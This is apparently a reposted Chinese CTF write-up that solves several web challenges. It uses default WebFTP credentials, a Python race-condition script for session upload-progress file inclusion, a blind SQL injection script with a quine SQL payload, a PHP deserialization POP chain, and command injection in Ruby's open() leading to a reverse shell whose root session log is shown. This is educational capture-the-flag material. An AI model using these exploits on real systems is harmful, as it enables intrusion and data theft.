赞
踩
题目是一个网站管理工具WebFTP2011,上网搜索WebFTP,可以在github中找到这个项目,从README中获取初始用户名和密码
使用说明 1、初始账号 超级管理员 admin 密码 admin888
成功登陆后寻找服务器的网站目录,随便翻看有无可疑文件,最后在phpinfo中找到flag
题目给出index源码
<?php if(!isset($_GET['mode'])){ highlight_file(__file__); }else if($_GET['mode'] == "eval"){ $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell); } if(isset($_GET['file'])){ if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file']; } function filter($var){ $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True; } return False; } function checkNums($var){ $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $cnt = 0; for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $j++){ if($var[$j] == $alphanum[$i]){ $cnt += 1; if($cnt > 8) return True; } } } return False; } ?>
session包含思路
由源代码可知,攻击点共有两个,一个是变量shell的rce,一个是file的文件包含,由于shell变量需要经过filter($shell) | checkNums($shell)
,限制太多,想要rce几乎无从下手,于是我们考虑从file寻找攻击点
首先访问/?mode=eval
后可以看到phpinfo的内容
session.save_handler = files 表示session是以文件形式存储的
session.save_path =/tmp 表示session文件的存储目录在/tmp下
session.auto_start = off 表示默认不开启session
通常要进行session包含必须使用到函数session_start();
而在本题中确没有这个函数,无法存储session文件,但本题可以利用session.upload_progress进行文件包含
session.upload_progress.enabled = on 表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
session.upload_progress.cleanup = on 表示当文件上传结束后,php将会立即清空对应session文件中的内容(想要包含session需要利用条件竞争)
session.upload_progress.name 表示当PHP_SESSION_UPLOAD_PROGRESS
出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
session.use_strict_mode = off 这个选项默认值为off,表示我们对Cookie中sessionid可控。
当我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。我们就可以采用自定义cookie的方法来存储session文件,并用session.upload_progress.name来控制文件的内容,然后再进行文件包含,实现rce
脚本实现
# -*- coding: utf-8 -*- import io import requests import threading myurl = 'http://1.14.71.254:28001/' sessid = 'h2tg' writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');?>"} flag = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat /nssctfasdasdflag');?>"} mycookie = {'PHPSESSID': sessid} def writeshell(session): while True: #resp = requests.post(url=myurl, data=writedata, files={'file': ('1.txt', 123)}, cookies=mycookie) resp = requests.post(url=myurl, data=flag, files={'file': ('1.txt', 123)}, cookies=mycookie) def getshell(session): while True: payload_url = myurl + '?file=' + '/tmp/sess_' +sessid resp = requests.get(url=payload_url) if 'upload_progress' in resp.text: print(resp.text) break else: pass if __name__ == '__main__': session = requests.session() writeshell = threading.Thread(target=writeshell, args=(session,)) writeshell.daemon = True writeshell.start() getshell(session)
在writeshell
函数中保持上传文件,data的变量名要为PHP_SESSION_UPLOAD_PROGRESS
,值为要执行的命令,上传的文件可以为任意文件,cookie要设置PHPSESSID
为自定义的id
并在getshell
函数中利用条件竞争去包含session文件,如果成功就把返回的html打印出来
题目是一个简单的登录系统,在注释中可以找到提示
访问/?source
得到源码
<?php include_once("lib.php"); function alertMes($mes,$url){ die("<script>alert('{$mes}');location.href='{$url}';</script>"); } function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); } } if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') { $username=$_POST['username']; $password=$_POST['password']; if ($username !== 'admin') { alertMes('only admin can login', 'index.php'); } checkSql($password); $sql="SELECT password FROM users WHERE username='admin' and password='$password';"; $user_result=mysqli_query($con,$sql); $row = mysqli_fetch_array($user_result); if (!$row) { alertMes("something wrong",'index.php'); } if ($row['password'] === $password) { die($FLAG); } else { alertMes("wrong password",'index.php'); } } if(isset($_GET['source'])){ show_source(__FILE__); die; } ?> <!-- /?source --> <html> <body> <form action="/index.php" method="post"> <input type="text" name="username" placeholder="账号"><br/> <input type="password" name="password" placeholder="密码"><br/> <input type="submit" / value="登录"> </form> </body> </html>
尽管checkSql对$password的限制非常多,但还是可以对$password变量实现时间盲注,得到数据库名为CTF
import requests url='http://1.14.71.254:28090/index.php' str_range=range(48,123) success='something' str='' for n in range(1,4): for i in str_range: payload="'/**/or/**/strcmp(mid(database(),%d,1),'%c')#"%(n,chr(i)) login={'username':'admin','password':payload} r=requests.post(url,data=login) txt=r.text if success in txt: str+=chr(i) print(str) break #CTF
但进一步的注入会发现表都是空的,那就必须要构造出满足条件的payload,即($row['password'] === $password)
以下为参考别人的文章进行payload构造
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
第一次构造
mysql> select/**/replace(replace('.',char(34),char(39)),char(46),'.');
+------------------------------------------------------+
| replace(replace('.',char(34),char(39)),char(46),'.') |
+------------------------------------------------------+
| . |
+------------------------------------------------------+
1 row in set (0.00 sec)
使用replace函数,该语句会返回点号
但我们需要返回的是和查询语句一模一样的语句,故我们可以用语句本身来替换点号
第二次构造
第一次构造的sql语句
select/**/replace(replace('.',char(34),char(39)),char(46),'.');
将上述语句中的点号替换为以下语句
replace(replace(".",char(34),char(39)),char(46),".");
mysql> select/**/replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
第三次构造
我们的payload形式应该为(最后有一个井号)
'/**/union/**/select/**/xxxxxx
初次构造的payload
'/**/union/**/select/**/replace(replace('.',char(34),char(39)),char(46),'.')#
将上述语句中的点号替换为以下语句
"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#
最终payload
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
mysql> select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#');
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#') |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| '/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')# |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
在mysql中执行可以看到输出的值和我们的payload完全一致,即($row['password'] === $password)
传参后得到flag
题目给出源码
<?php include 'flag.php'; class pkshow { function echo_name() { return "Pk very safe^.^"; } } class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new pkshow; } function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); } } class ace { public $filename; public $openstack; public $docker; function echo_name() { $this->openstack = unserialize($this->docker); $this->openstack->neutron = $heat; if($this->openstack->neutron === $this->openstack->nova) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } } } } if (isset($_GET['pks'])) { $logData = unserialize($_GET['pks']); echo $logData; } else { highlight_file(__file__); } ?>
构造pop链
<?php class acp { protected $cinder; public $neutron; public $nova; function __construct($t) { if($t==1) { $this->cinder=new ace(); } } } class ace { public $filename='flag.php'; //public $filename='../nssctfasdasdflag'; public $openstack; public $docker; function __construct() { $this->docker=serialize(new acp(0)); } } $pop=new acp(1); $pks=serialize($pop); echo $pks; echo '<br>'; echo urlencode($pks);
读取flag.php内容后得知flag在/nssctfasdasdflag
下,把路径改为$filename='../nssctfasdasdflag'
后得到flag
require 'sinatra' require 'digest' require 'base64' get '/' do open("./view/index.html", 'r').read() end get '/upload' do open("./view/upload.html", 'r').read() end post '/upload' do unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png' return "<script>alert('error');location.href='/upload';</script>" end begin filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png' open(filename, 'wb') { |f| f.write open(params[:file][:tempfile],'r').read() } "Upload success, file stored at #{filename}" rescue 'something wrong' end end get '/convert' do open("./view/convert.html", 'r').read() end post '/convert' do begin unless params['file'] return "<script>alert('error');location.href='/convert';</script>" end file = params['file'] unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/ return "<script>alert('dont hack me');</script>" end res = open(file, 'r').read() headers 'Content-Type' => "text/html; charset=utf-8" "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n" rescue 'something wrong' end end
该网站是一个将上传的png转换为base64的应用,在转换的代码中有以下部分
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
file参数必须要以.png
结尾,且不能包含..
,不能包含/
,过滤完成之后会用open(file, 'r').read()
打开,而ruby的open()
函数是借用系统命令来打开文件的,所以可以进行命令注入,
详细原理见Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)漏洞复现
对于file参数的过滤,可以考虑在命令注入的时候用base64编码后执行
直接反弹shell后找到flag
root@iZ2zec7mjp663ump9wsug3Z:~# nc -lvvp 6666 Listening on [0.0.0.0] (family 0, port 6666) Connection from 121.196.63.59 34648 received! bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/usr/src# ls ls app.rb view root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/usr/src# cd / cd / root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/# ls ls bin boot dev etc flag_13242 home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/# cat flag_13242 cat flag_13242 ctfhub{9f618324e7abab7465e5fa6c}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。